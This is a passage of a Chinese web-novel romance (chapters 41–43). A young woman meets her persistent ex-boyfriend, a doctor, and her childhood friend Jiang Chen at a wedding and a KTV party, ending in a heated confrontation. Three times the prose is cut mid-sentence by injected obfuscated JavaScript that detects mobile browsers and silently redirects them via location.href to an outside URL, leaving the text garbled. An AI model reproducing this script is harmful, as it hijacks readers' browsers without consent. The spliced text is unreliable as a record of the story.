“小孩姐,车给我玩一会儿可以吗?”她最终没有忍住,“我给你买一串冰糖葫芦吃,大草莓带奶皮子的那种。” 小女孩爽快地一口答应,“好!” 她接过车把,踩上踏板,一脚滑行直接出发,翠绿的广袖襦裙随风飘摆。樱粉披帛缕着金丝,在她背上翻飞,像披着一片发光的云霞。 “摄像老师辛苦啦!下班啦!” 摄像一抬头笑了,举起机器给她抓拍照片,“呦,小飞侠。” 她踩着滑板车绕场地飞一大圈,像一只雀鸟飞进烂漫暮色里,和几日来合作的同事一一打招呼。只要是和她有过对话,她记得每一个人的名字。 笑声此起彼伏,连成片,传得很远。 最后拍完杀青大合照,现场开始收设备,她也可以离组了。正跟伙伴们不舍道别时,小助理帮忙跑腿传话,乐呵呵地过来告诉她。 “一只棠老师~有帅哥找你喔。” 帅哥? 许知棠眼睛亮了一下。 或许是因为下午有人说的要点外卖过来,她第一时间想到的是蒋谌。 虽然现在还不是宵夜时间,虽然隔了一千多公里的人不可能凭空出现,她来不及多想,只靠着心底某种直觉。直觉告诉她,蒋谌会来。 于是她欣喜地回头,不假思索喊了声,“蒋……” 尾音蓦地消失,被她吞回了肚子里。 不远处,何松砚长身玉立,微微偏头望向她,眉峰舒展。清粼粼的眸光被久违的温润浸染,带着一点疏离的温柔。 “棠棠。” ** 何松砚其实已经来了个把小时,只是没舍得立刻上前,站在人群以外的地方注视着她。 他很久没有从这样的观众视角看许知棠。看她神采奕奕的模样,好像又回到了大学时代,又有些微妙的不同。 毕业后两个人都进入医院工作,难免有任务繁重,心力不支的时刻。他知道许知棠做得不大开心,所以一旦有假期,即使自己加班,他也鼓励许知棠出去玩。 她可以从短暂的休息和旅游中获得放松,朋友圈照片上的笑脸不是假的。可这快乐转瞬即逝,回到医院里,她就又不太快乐。 他以为生活就是这样,以为趋于平淡是必经之路。可今天看到的许知棠却这么不同。 即使冷得打抖,她结束了一整天的工作,脸上也没有半分疲惫的倦容。那是被热爱催生的精神绽放。 是任何人在医院里,从没见过的许知棠。 何松砚终于亲眼看到了。 她真的有这样热爱摄像机前的工作。 “你……怎么会到这里来?” 怎么会是他。许知棠一下子怔住,忽略了心里微不足道的失落。 “来看看你。”何松砚说。 云川就这么点大。即使被拉黑,只要她一回来,朋友的朋友转个弯,总能通到消息。 许知棠不知道该说什么,低着头,“我要换衣服去吃饭了。” “一起吧。” “啊?”她惊讶地抬眼,“更衣室只有女生能进。” “……” 何松砚无奈地笑了一下,“我是说等你出来,一起吃晚饭。” “哦……” “好多天没见面了,”他说,“我很想你。” 许知棠耳朵发热,假装没听见,转身逃走。 等她拆完发髻包,卸下饰物换回自己的衣服,全世界的八卦目光都吻了上来,“这是什么人啊棠棠?” 何松砚笑了一下,礼貌又谦和。刚要开口,就被她打断,“只是个普通朋友。” 普通朋友何松砚被她拉走,表情不太明朗。 “去吃晚饭吧。这边餐厅不太多,有家火锅店可以尝一下。” 她本来想请剧组的小伙伴一起吃的。但是何松砚忽然过来,她也没办法把他当众晾着,或者直接赶走。 两个人面对面坐在火锅店里。许知棠望着他有些清瘦的脸,无可避免地生出惯性的怜惜。 只在心里想想和亲眼所见的感受,到底还是不一样的。 在一起这么久,吃过的火锅起码有上百顿,点单时彼此喜欢的菜品和口味,不用问都能如数家珍。 许知棠没有要补充的,但点完单,连闲聊的打算都没有。一反常态的沉默。 她连和街上一起等公交的路人都可以聊得火热,却在他面前沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020603|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默。 何松砚实在是不习惯,率先开口,“在海市还习惯吗?” “挺习惯的。” “我看天气预报,那边比云川更冷,空气湿度更高。昼夜温差太大了,你有没有感冒?” “……没有。”许知棠拿起筷子,又放下。 她不是个有耐心迂回寒暄,能藏话的人。何松砚找过来的原因不作他想,她索性直接倒出答案,“你还不肯相信吗?这次我是真的要分手。” 不接他的电话,拉黑他所有联系方式。漫长的冷静期过去,她的想法依然没有改变。 何松砚已经做好准备,亲耳听到却还是心颤了一下。 “对不起,是我的错。我应该好好向你求婚的。” 他语气有些艰涩。或许是因为思念,语速比以往要快不少,“结婚和要孩子的事我们都可以再好好商量,你实在不喜欢,也可以不要。我明白你的梦想,我会尊重你的意愿,支持你想做的事业……” “其实不是因为这些。”许知棠打断他。 她不惊讶何松砚这样说。因为在两个人的感情里,总是他在一次次迁就。然后她在心怀歉疚的甜蜜中接受。 “那是因为什么。”何松砚望着她,罕见地露出茫然的神色,“到底……是我哪里做得还不够好吗?” “不是的,你已经很好了。”许知棠摇摇头,“我也不想让你再迁就我。” 或许是有很多无法解决的小原因。比如他总是加班太多,没时间陪她。比如他对医学和病人的关心,常常超过对她的关心。 但许知棠又觉得,那些都不是最重要的原因—— 她一次次想要分手的,最重要的原因。 单就这一次分手而言,促使她下定决心的关键原因是什么,她倒是能说上来。 就是不知道何松砚听了,会不会认为她在发癔症。 许知棠轻轻地叹了口气,像块巨石压在他心上。 整顿火锅两人在沉默中吃完。史无前例,心事重重。 许知棠最终没能把自己其实是只小猫咪的事情说出来。 她连陶悦都没舍得告诉。如果可以,她希望自己能在未来的某天忽然消失,干净果断。而非要关心她的亲友们一起倒计时,承受即将失去她的悲伤。 而且人性很怪。虽然是她自己决意要分开的,但如果何松砚是因为她是一只小猫咪而接受了分手,她心里也会不是滋味。 吃过晚饭,何松砚送她回酒店。 夜风寒气扑人,何松砚摘下围巾递给她。许知棠犹豫了一下,没有接,“我还好,刚吃饱饭身体很热。” 他收回手,“明天谢医生的婚礼,你会去吗?” “嗯……”许知棠还在想自己小猫咪的事,有些心不在焉。但接着又听到他问,“一起吗?” 婚礼上有那么多熟悉的同学和朋友,她都能想到两人一起出现,会引来什么样的打听和盘问,“我还没决定好,可能不去了吧。” 又是变相的拒绝。 何松砚也只得点头接受。 他擅长在行为中保持原则做出忍让,但很不擅长哄女孩开心。 想想就知道,以他的条件,是被从小追到大的。没有追求别人的经验,也做不出讨好的模样。 他不知道该怎么挽回许知棠的心。 能给的承诺都给了,说出口的他保证都会做到。可她还是这样坚决,不容动摇,和以往任何一次都不一样。 “就送到这里吧,我自己上去。” 许知棠想在酒店门口分别,但他还是进了大堂,“我送你到电梯。” 大堂里没什么客人,很安静。穿过休息区,许知棠心跳莫名漏了一拍,不由自主地转头望向卡座。下一秒,在惊愕中睁大了眼睛。 视野中央,本不应该出现的人黑色大衣里穿着西装,领口却是松散的,露出锁骨正中凹陷的轮廓。 蒋谌合上手中的景区导览手册,从容起身,视线平稳地落在许知棠脸上。 “……” 何松砚也注意到眼前陌生人的动向,不易察觉地皱了下眉,低声问她,“认识吗?” 许知棠张开嘴巴又闭上,看见他露出一个镇定的,随和的,堪称迷人的微笑。语气熟稔。 “这么晚才回来?” 41. 第 41 章 “哪有很晚。”天刚黑。许知棠不自觉地反驳,“平常这时候你都还没下班呢。” “……” 在何松砚难以言喻的目光中,她才想起介绍两人,“喔,这是我从海市过来的朋友,蒋谌。这是……” “何医生吧?”蒋谌微笑着伸出手,“久闻。” “……你好。”何松砚不动声色地打量,本能感到气场相斥。 他从没见过许知棠身边有这样一位朋友,想来是在海市认识的。 这么快就认识了新的……朋友? 他心中久违地浮现出危机感,但又觉得,蒋谌这个名字似乎有些耳熟。 容不得他细想,值班室忽然打来电话。他接起听了两句,望向许知棠的目光有些犹豫。 “医院的电话?”许知棠神情自然。“快去吧。” “好。明天婚礼上见?” 她抿起嘴角,睫毛扇动两下,垂了眼。 何松砚三步一回头,最终也没有等到她的回答,又瞥了眼旁边的男人,才沉着脸大步离去。 直到再也看不见他的背影,许知棠微不可闻地叹了口气。转向蒋谌说话时,语气明显地轻快了很多,“你坐飞机怎么还喝酒呀?” 酒气散了一路,靠近还是能闻到。 而且他喝过酒之后变得很爱笑。许知棠觉得挺有意思。 蒋谌当然也听出她语气中的差别,心情颇佳,“我是乘客,只坐飞机,又不用开飞机。” “……” “下班遇到姚一尧,就喝了点。”他说,“顺嘴的事。” 哪有这样顺嘴的。许知棠说,“那你是不是还没吃晚饭?走吧,去旁边陪你去吃一口。” “你不是刚吃过回来么?”蒋谌故意要问。 “我也顺嘴的事。” 酒店旁有家面食馆。许知棠给他点了一大份鲜肉云吞,“不吃饭还喝酒,小心肠胃出问题。尤其是你。” “为什么尤其是我?” “啧,小说里面的什么霸总男主角们都可容易得这个死胃病了!”她一本正经道,“你属于高风险人群。” “……” 云吞很快端上了桌。许知棠坐在他对面喝一杯冰柠茶,解火锅的辣和腻。看上去还挺悠闲。 蒋谌说,“怎么见到我不太惊讶?” “一点点惊讶。”她咬着吸管,刷新论坛找帖子看,“你今天问我地址了,有猜到你可能会来玩。”还差点认错了人。 “嗯。”他不经意道,“姚一尧没空回来,叫我帮忙带份随礼。” 随礼?许知棠眼前一亮。“那就是说,你明天会跟我一起去吃席?” “闲着也是闲着。” “好诶!” 她愉快地放下一桩心事,“陶陶有事也去不了。我本来还在想,自己去会不会尴尬呢。” 蒋谌看着她,“就没点别的感慨?” 早知道何松砚会抓住机会往她身边凑。果然,一下飞机就让他逮个正着。 “没有!”许知棠果断反驳。 知道他在说什么,就算有她也不会承认的,少看不起咪了。 “我已经是只成熟的小猫咪,不会再为人类掉一滴眼泪!”她说,“而且他前几天都没有来找我,等到我今天杀青了才来。一点诚意都没有。” 蒋谌吃饭很快,转眼大半碗云吞下肚,胃肠熨帖,脸上多了血色。连看向她的目光都显得格外温情,一副知心好友的面孔,“你希望他积极地追求你?” “也不是……唉。”许知棠托着下巴惆怅地叹气。不过在蒋谌面前,她总归是可以更坦诚些,“可能还是有一点吧。不过哪个女孩子不希望自己被积极热烈地追求呢?” 尤其是在对象面前。谁不喜欢自己是特殊的?谁不想要毫无保留的偏爱呢。 可是在何松砚那里,总有别的事情可以排到她前面。总有一些名正言顺的,哪怕是她自己也无法拒绝或责备的理由,让她妥协接受。 “可能是我太贪心了吧。”她也只能得出这样的结论。 蒋谌似有所指,“也未必就是坏事。” 郊区的夜晚,附近没什么好玩的,幸好蒋谌来了。许知棠在他房间一起玩手机游戏到半夜,又一起吃了宵夜才回去睡觉。 婚宴在中午举行,不用早起,但隔天他还是很早就过来敲门。 许知棠被吵醒,怀疑是上次在南杞县落单的经历让他有了防备。或者干脆就是报复来的。 醒都醒了,蒋谌拖着她下楼在酒店餐厅吃了早点。许知棠哈欠连天,“待会儿还能再睡个回笼觉的。” 蒋谌颔首,“行。” 话归这么说。他从楼下又一路跟到了房间门口,许知棠刷了门卡,狐疑地看着他,“你要进来?” “我帮你看着。”他道貌岸然地回答,“免得你睡过头。” “那好吧……其实我定了闹钟的。” “不影响。”蒋谌回自己家似的进了房间。 “我在更保险。” 整个早上他似乎都在黏人。许知棠感觉有点奇怪,但也没多想,倒头回床上补觉。 床边的落地书架上摆了几本畅销书,蒋谌坐到单人沙发上,随手拿了本心灵鸡汤翻看,目光快速地在书页间跳跃。不多时,又落回到许知棠的脸上——哪怕一小半都掩在被子里,也能看出睡得很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040454|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香。 她的手机放在床对面的梳妆台上,睡觉期间一会儿一亮。本来是震动,在桌面上嗡嗡响,但只响了第一声,就被蒋谌拿起来,调成静音。 他没有放下手机,面无表情地看着第二条,第三条微信消息亮起,紧着又是两个来电。 即使不显示内容和人名,蒋谌也完全能猜到来电的人是谁。 他垂眼看着屏幕,直到再也没有消息进来,才撇了下嘴角,轻声说了句,“不要脸。” 许知棠兀自睡得香甜。 谢家河的婚宴在市区最有名的酒店里办,很抢手,最少都要提前三个月,还不一定能订到。 新娘的父亲是医药企业的高层,在本地颇有些影响力。相熟的朋友都调侃他是“上嫁”,他人倒也随和,不卑不亢地承认这桩婚姻是自己更得好处,连这结婚的场地都是沾了岳丈的光才订到的。 小两口五年爱情长跑修成正果,西装礼裙相携,亲自迎宾,笑起来真有些夫妻相。 “恭喜。”蒋谌在门口放下两封厚厚的红包。“不请自来了,真是不好意思。” “哎,哪里的话!”谢家河临时知道他要来,也十分惊讶。但热情的笑容不似作伪,大喜的日子整个人幸福洋溢,“热烈欢迎啊,都进去快快快!坐啊,千万别客气。” 许知棠跟新娘不熟,但来得早,也笑盈盈地聊了几句。跟蒋谌一起到同学朋友们那桌落座,拿手机拍了几张照。 回笼觉睡得好,即使掐头去尾只有一个小时,许知棠起来化妆时仍觉得精神饱满。 据蒋谌观察,她看到那些消息和未接来电时,也没有多大反应。 “我帮你拍两张?”她饶有兴致地问。 在别人的婚礼上拍照,蒋谌没什么兴趣。但看她的手势,意思是要一起自拍,就又另当别论了。 他配合地把椅子拉近,偏头靠了过来。 “你笑一下嘛,开心点。” “开心什么,又不是我结婚。” “诶呀少说废话,像你昨天晚上那个样子笑!” “……” 宴会厅里布置得如梦似幻,用了海洋主题,主舞台上薄纱和鲜花搭配,清新又轻盈,仿若浪花翻涌。宾客区每桌也都放了白玫瑰和蓝色绣球。听说是新娘喜欢蓝色。 许知棠穿了条白色针织裙,他还是昨天穿来的那套黑色西装,亲昵地靠在一起,男帅女靓。 天时地利,布置精美的场地成了极好的陪衬。若有不知情的人看到照片,将他们当成今天的主角也毫不违和。 在何松砚看来,却是极刺眼的一幕。 她还是来了。 跟别人一起来。 42. 第 42 章 “这张还可以。”许知棠拍到满意的,将注意力从手机上挪开。刚刚走进的宴会厅的人便落在她眼底。 一如既往的清俊挺拔。但更让她注意的,是何松砚身边的人。 韩晓棠跟在他身边,大概半步的距离。两人身体的间隔不远不近,有些微妙。 似乎也不算十分亲密。但任何第三视角的目光扫过,都会下意识认为两人是一起来的程度。 至少蒋谌没有例外,“那是谁?” “以前医院里的同事。”许知棠啪的一下把手机扣到桌上,情绪都没掩藏,“和他一个办公室的。” “这么不爽?”蒋谌分秒之中猜出此人来历,“看来快要变成你前男友的现任了。” 许知棠冷笑,“谁管他。” 话虽如此,该不爽还是不爽。她不懂何松砚怎么能这样,才分手这么些日子,就带着暧昧对象堂而皇之地出席婚宴。 却全然没有意识到,她自己这边其实也是同样的景象。 她一点不想跟那两人同桌吃饭,可惜天不遂人意,只能眼睁睁地看着他们走过来。 谢家河忙得脚不沾地,没注意到这边,依然把她和何松砚放在一桌。 一桌十个人,有朋友,同事,也有旧日家属院里的发小。何松砚冷着脸入座,目光与她相接。不是在正对面,也不挨着。 许知棠也冷冷地瞪回去。俨然一对怨偶,两相胶着。看客都心知肚明。 这两人没完呢。 蒋谌很不喜欢这种假设,抬手打断视线,“分都分了就别置气了,来,吃点份子钱。” “……” 餐前干果盘转到她面前。许知棠狠狠抓了一把瓜子,磕得嘎嘣脆,偏过头跟他聊天,“还好你今天跟我一起来了!否则我真不想留下吃饭了。” 宴会厅里人声渐起。但距离蛐蛐的对象有点近,她还是压低了声音,身体也向着蒋谌倾斜,“看着吧,待会儿她准要讲刚入院的故事。” 果不其然。韩晓棠落座没多久,就说起了她和许知棠傻傻分不清楚的往事。 那会儿他们恋情还没公开,有人听到何松砚打电话时叫的是“棠棠”,就猜他的女朋友是同为医生的韩晓棠。 流言传播速度很快,还颇有段日子,直到许知棠拿何松砚的手机发了几回朋友圈,才让她这个正牌女友逐渐深入人心。 韩晓棠每次说起这件事,都是用半真半假的苦恼语气,仿佛也给她带来不小的困扰。 可既然如此,又何必一次次提起,如同当作战绩。 也不知道被错认成别人的女友,到底有什么值得炫耀。许知棠还得皮笑肉不笑地哼哼两声,才能不显得太小气,实则每次听到都要膈应一遍。 偏偏何松砚不在意,觉得只是同事之间闲聊谈笑。 今天也依旧无动于衷。甚至他的视线更多地落在蒋谌身上,好像有意探究此人的底细。 “何医生!久仰久仰。” 一声豪迈的笑闯入耳中。何松砚回过神,刚要起身,却见来人径直走到了蒋谌面前,“没想到能在这里见你,真是好运气呀!” “……” 蒋谌也怔了一下,对陌生男人的寒暄毫无头绪,礼貌道,“你好像认错人了。” “……诶呦,真是不好意思。”男人先是望见了许知棠,先入为主地以为坐在旁边离那么近的肯定是她对象。 谁想到这小两口居然分开坐。他到跟前一看才发现认错了人,尴尬又茫然地挠了挠头,赶紧绕过去和何松砚说话。 桌上认识两人的朋友原本都心照不宣,被这么忽然地点破,交换眼神的意味开始深长。 一方面是看惯了小两口的分分合合。 另一方面,是为小两口身边各自带了新人。 许知棠作为八卦中心人物,心态已经从局促尴尬转变成破罐破摔的洒脱,还能再指挥一把,“装松子的那盘给我来点尝尝。” 蒋谌忍俊不禁,清了清嗓子,“好的老板。” 老板夹菜我转桌,没毛病。 反正吃完席就要回海市了,许知棠压根懒得跟这些人介绍蒋谌。经过“主人哥”梗的洗礼,她对朝两人投来的暧昧揶揄的目光也耐受了,随他们怎么想。 太肤浅了。 实则在扑朔迷离的表象之下,掩藏着的是一份诚挚的伟大友谊! 伟大友谊参与者蒋谌持保留意见。 片刻后,暖场音乐响起,灯光被调成柔和模式。主舞台上的大屏幕播放着新人的婚纱照,司仪也上台,开始做简单的开场致辞。 音乐逐渐开始变得浪漫而温情。恰好是许知棠也喜欢的歌,她看着新郎新娘相继入场,华丽的纯白婚纱有着长长的拖尾,一切都美好得像个童话。 某个瞬间,她的视线又和何松砚相遇了,紧接而来的是一股难忍的鼻酸。 她不是没有想象过自己穿婚纱的样子,想象着嫁给何松砚的那一天,会是怎样场景。 但这种想象,只局限于婚礼而已。她仅仅期待着这种美好梦幻的仪式,像两人一起做了场好玩的游戏。 至于婚姻背后真正代表的一切,错综复杂的利益分割和亲戚关系,往后余生难以挣脱的束缚,都是她还没有准备好去面对的。 她承认自己年轻,无知,或许还有些无能,因此不敢去承担婚姻的责任。 可她又是聪明的。至少她清楚地意识到了自己做不到,所以才避免踏入那摊僵局。 新人携手登台,互相宣读誓词和手写信,讲述恋爱经历,深情拥吻。许知棠不太了解两人的故事,却还是听得掉下了眼泪。 她纯粹是被这种氛围感染才哭的。人类之间彼此联接的细腻情感,连小猫咪也要叹服。 但蒋谌递来纸巾时,她还是要嘴硬,“饿的。” 蒋谌十分配合地点头,“饿哭了。很常见。” “……” 许知棠感觉他有时候也欠欠的,红着眼眶破涕而笑。视线一扫,发现何松砚居然在对着她出神。 被她抓了个正着,也没有躲闪,只是露出一个复杂的苦笑。 她愣了愣,情感先于理智领悟到他的表情。有怅惘,也有遗憾。就 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许知棠没多大兴趣,蒋谌也没有参加的想法,两个人打算等席面结束就一起回家。 达成共识,蒋谌离开宴会厅,接了个工作电话。 周六他一般都会去律所加个班,无论时间长短,大家都习惯了他露面。 这周他忽然消失,有些工作在电话里讨论起来,毕竟不是很方便,“明天下午我过去一趟。” 他和许知棠今晚就能到家。 跑这一趟,防护工作做得还算到位。至少何松砚没有单独和她相处,动摇她的机会。 蒋谌挂了电话,正对上来人清冷的目光,微微挑眉,“何医生。” 何松砚脸上没有一丝笑意。 许知棠的意思他还没有机会问。但经过宴席,他现在颇为确定,这个人一定对许知棠心怀不轨。 他和许知棠每次目光接触,都会被蒋谌以各种不经意的动作或话语打断。 他也想通了,昨晚那种熟悉感从何而来。 颇为戏剧性的是,宴会厅里的两位棠之间,除了名字,并没有相似的地方。倒是他俩。 何松砚说:“你有点像我。” 或许是面部轮廓,或许是神态,或许是高冷内敛的气场。他们两个身上有一部分是相似的。 许知棠会被他吸引,也就解释得通了。 他没再多说,眼中却已明确地传达出这样的想法。 而蒋谌的反应出乎他的意料。没有一点为人替身的羞愧,听到他的话先是一愣,继而嘴角一弯,整个人都亮堂起来。 蒋谌简直想要笑出声。 如果不是何松砚自己说,他都还没往这方面想过。 就像是发现了隐藏的彩蛋——甚至还是情敌亲手送来的。 “真的要比么?可我似乎和她认识得早些。”蒋谌善良地更正。 “是你像我。” 43. 第 43 章 在来之前如果有人告诉他,近期能得到的最好的提醒在何松砚这里,蒋谌是不会相信的。 但眼下,他至少能确定,许知棠喜欢的是他这个类型。 ——四舍五入跟喜欢他能有多大差别。 他很难不露出微笑,甚至称得上是和颜悦色,在何松砚惊疑不定的目光中微微颔首,事了拂衣去,“借过。” 他要和许知棠一起回家了。 宴会厅里刚刚结束了一场小风波。 许知棠双手环胸,身体摆成一个不太高兴的姿势,在盯着圆桌中央的花瓶发呆。 蒋谌回到座位,以为她是不满自己离开太久,刚要拿起外套,被她拽了一下,“等会儿再走,我们一起去KTV玩。” “不是不去了么?”他才不在一会儿,就又被人激将成功了。 “她们说我不去就是还没放下!”许知棠也不是不知道对方故意,可脾气放在这儿,“这谁受得了。” 蒋谌说,“你本来就还没放下。” “……” 许知棠:“我恨你。” 攒到一起续摊的人数不少,KTV里一个几十平的超大包厢都快坐满。服务生进进出出,果盘端了好几套。 光线昏暗,只有显示屏刺眼的明亮。氛围灯的彩色光纹在磨砂玻璃上流动,转到天花板,又被桌上的酒杯折射出泛滥的反光。 许知棠眯着眼睛低头发微信,找陶悦临时抱佛脚,请教这种情况下如何从容进退。 等了两分钟没回复,她才想起自己的好姐妹正在男友山庄约会。估计是没空给她远程指导了。 蒋谌反倒给她发了条微信。明明就坐在她左手边。 【要喝点什么?】 动作快的朋友已经点好了歌,激情开唱。许知棠想估计是包厢里太吵,他懒得大声说话。 酒水柜在对面。虽然走不了几步路,有人代劳还是不错的。 【来瓶气泡酒微醺一下!要桃子味的那个】 【待会儿谁再惹我直接辱骂,就当发酒疯了[墨镜]】 【[ok]】 许知棠感到右手边的沙发微微下陷,低头看着手机,没太注意是谁。 朋友点唱的《至少还有你》即将进入副歌部分,旋律逐渐激昂。 “直到视线变得模糊,直到不能呼吸,让我们形影不离。” 她才不自觉地抬起头。恰在同一时间,面前伸过来两只修长有力的手,各自握着一罐气泡酒和一瓶冰糖雪梨。 歌曲也唱到高潮。 “如果全世界我也可以放弃,至少还有你,值得我去珍惜。” 至少还有……谁? 她惊觉何松砚竟然也跟了过来。和蒋谌两个人一左一右地坐在她身边,静静地凝视她,等待她的选择。 明明只是递个饮料,怎么突然也变成了难题。 许知棠被两人夹在中间,局促地吞了一下口水,不知为何感到头皮发紧。犹豫数秒,还是接过蒋谌手中的气泡酒,“谢了……” 她以前是很喜欢喝冰糖雪梨,但现在想喝的是另一个。她只是想对自己诚实。 何松砚显然不这么想,望着她的目光已然发生了变化。偏偏身旁还有人火上浇油似的开口—— “要帮你打开吗?”蒋谌贴心地问。 平时也没见他这么殷勤呢。 许知棠起了些鸡皮疙瘩,终于开始察觉,这人怎么像是带了点故意的,在这里添乱当显眼包。 “不用。”她一只手也能轻松打开易拉罐,“你喝你的。” 一波未平一波又起。包厢的门被拉开,第二波续摊的朋友热热闹闹地进来。 为首的是旧时家属院的发小,以来就瞪大眼睛,“我靠,蒋谌?!真的是你啊,刚在婚宴上我还以为看错人了呢。” 蒋谌也叫得出他的名字。被他一抬胳膊亲热地搂过去,感慨万千,“什么时候回来的?这都多少年没见了,真是大变样。” “你们认识?”何松砚问。 “是啊,小时候还是邻居呢。跟喜之郎我们这一圈都是一块儿长大的。” 他乐呵呵地介绍,“这可是咱们当地著名的学霸,标准的别人家小孩,整个院里的大人都想生他。” 他毕业以后进了药企,也经常跑三院工作,跟何松砚认识。心想难道喜之郎没跟你提过吗?这可是你老婆小时候青梅竹马……哦,不能提。确实不好说。 难怪会觉得耳熟。 何松砚终于把人对上号了。 他是听许知棠提过蒋谌,但从没有见到过本人,名字也就只留了一点印象。 原来如此。这就是蒋谌说“我比你更早认识她”原因。 可又算得了什么?许知棠跟他在一起的六年里,蒋谌根本就没有出现过。 蒋谌凭什么在他面前摆出居高自傲,洋洋得意的态度。 何松砚转念又觉得不对。如果真是小时候的邻居,为什么许知棠却说他是在海市认识的朋友? 她是有所顾虑,还是在隐瞒什么? 往日里许知棠无论大小事情都会跟他分享。不过才一个月,他就好像看不懂许知棠了。 这不对,根本就不对。 “蒋大学霸现在还是在海市?”发小又打听道,“做什么行业呀?” 蒋谌说,“给律所打工。” “嚯!大律师!那你们咨询费是不是特高啊,一个小时好几万那种?” “……” 许知棠喝着气泡酒,目睹他成为人群话题的中心,自己正好可以清闲下来,颇为满意。 “所以你们是在海市恰巧遇到的,对吗。”何松砚勉强让语气稳重,不要显得太介意,“现在重新熟悉起来,关系又这么好了。” 他找到了合理的解释。同在异乡工作,遇到童年朋友确实会很亲切,许知棠也本就是个喜欢叙旧的人。 可是会不会太熟了点? 她连蒋谌平时几点下班都知道。 这已经超过了普通朋友的了解程度,简直像…… “算是吧。”许知棠含糊道。 其实是她有目的性地跑去找蒋谌的。不算是偶遇。 但要是坦白她莫名其妙跑到千里之外,去找个十年没有音讯的朋友,真的很像是疯了。 “平时经常见面吗?下了班……有空的话。”何松砚说。 看他小心翼翼试探的模样,许知棠忽然有些心酸。 或许是被酒精的劲道冲击大脑,她由此做了个决定,仰头把剩下的瓶底一饮而尽,捏扁了易拉罐。 “每天都见。” 她说,“我们住在一起。” 她是在说…… 已经和他同居了。 何松砚脸色刷白。 嘈杂的音乐和人声在某个时刻蓦地消失,只剩下尖锐的耳鸣冲击着大脑。 他觉得包厢里所有人都在看他,但其实并没有,许知棠声音不大,没有引起什么注意。只有蒋谌侧头瞥了一眼。 没有任何干涉的意图,只是一眼,就又移开视线,继续跟旁人说话。 可他依旧感到了巨大的羞辱。 失去的血色变本加厉地涌到他脸上。他望着许知棠决绝的目光,体会到一种生平从未有过的绝望。 他在这一刻,终于明白了两人彻底完了的事实。可他接受不了是以这种方式。 “你跟我出来一下。”何松砚深呼吸,抓起她的手往外走。动作有些突然,有些粗鲁,力道也很大。 许知棠没防备,被他扯了一下,步伐有些踉跄。 蒋谌皱起眉,身体反应先于一切,挡住了他的去路。 “让开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17055888|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”他厉声呵斥,往日风度尽失。 这一声才唤起了大家的注意,都有些诧异地看着他与平常不同的作风。而蒋谌只是看着许知棠。 只要一个眼神,许知棠就读懂他的意思。 如果不愿意,不用去。 “没事的。”她安抚道,“我说几句话就回来。” 她决定利用一下蒋谌,待会儿回来会自己跟他讲,也相信他知道后不会介意。 但她还是为此有些抱歉,还对他笑了笑。落在何松砚眼中,又是赤裸裸的挑衅。 “你和我分手才多久,和他才认识多久?就在一起了?”包厢外的走廊,何松砚几乎控制不住自己的音量。 他和许知棠第一次接吻都用了不止一个月,更不要说同居,“到底是什么时候开始联系的!” 自成年以后他就没这么失态过。可那么多人看着,他实在很丢脸,无处发泄的怨气和怒火只能丢给面前的人。 许知棠也没见过他发这么大的火,惊了惊,声音都变小许多,“其实没……” “没有什么。没有我想的这么龌龊?你们都住在一起了!许知棠,你知不知道什么叫自尊自爱?遇到任何事你可以跟我说,就这么不清不楚地跟他住在一起算什么!” 被愤怒冲昏的头脑完全无法正常思考。何松砚不受控地往最糟糕的情况想,“是不是他勾引你,还是……你早就想去找他了?” 为什么许知棠忽然要去海市,又铁了心要跟他分手?以前都不是这样的。她态度如此坚定,变得冷酷且不可动摇,是为什么? 是为了里面那个该死的蒋谌?! “我不清不楚?”许知棠不可思议地指了一下自己的鼻子,也被惹毛,怒火裹着失望直冲头顶。 何松砚在怀疑她不衷。怀疑的是曾经处在两人恋爱关系里的她,那么努力想要成为一个好的爱人的她。 哪怕认识或不认识的人近来都在调侃她和蒋谌,哪怕她确实打算干脆就靠这点误会彻底分手,也和从前的她没有半点关系。 她清清楚楚地跟何松砚在一起六年!确认关系以后就连异性朋友都没有交过,只要出门都会主动报备。 被她清清楚楚地爱了六年,何松砚本人应该是最知道她为人的人!凭什么指责她出轨? 再多人的冷嘲热讽,都没有他这一句话给的伤害大。 “是,你说得都没错。” 她灰了心,自暴自弃地口无遮拦,“我就是喜欢蒋谌,喜欢得要死,我龌龊我倒贴我追他追到海市去!行了吧?那又怎样,他比你帅又比你会挣钱,还会陪我一起玩!我喜欢他有什么问题?” 还嫌不够。她直接给蒋谌打电话,召唤龌龊同伙,“出来!” “……” 她承认了。 可何松砚心里没有丝毫解脱,也不知道她要干什么。他从没想过自己会被出轨,整个人格都受到了冲击,无力垂下的手捏紧成拳,不想再看到那张令人厌恶的脸。 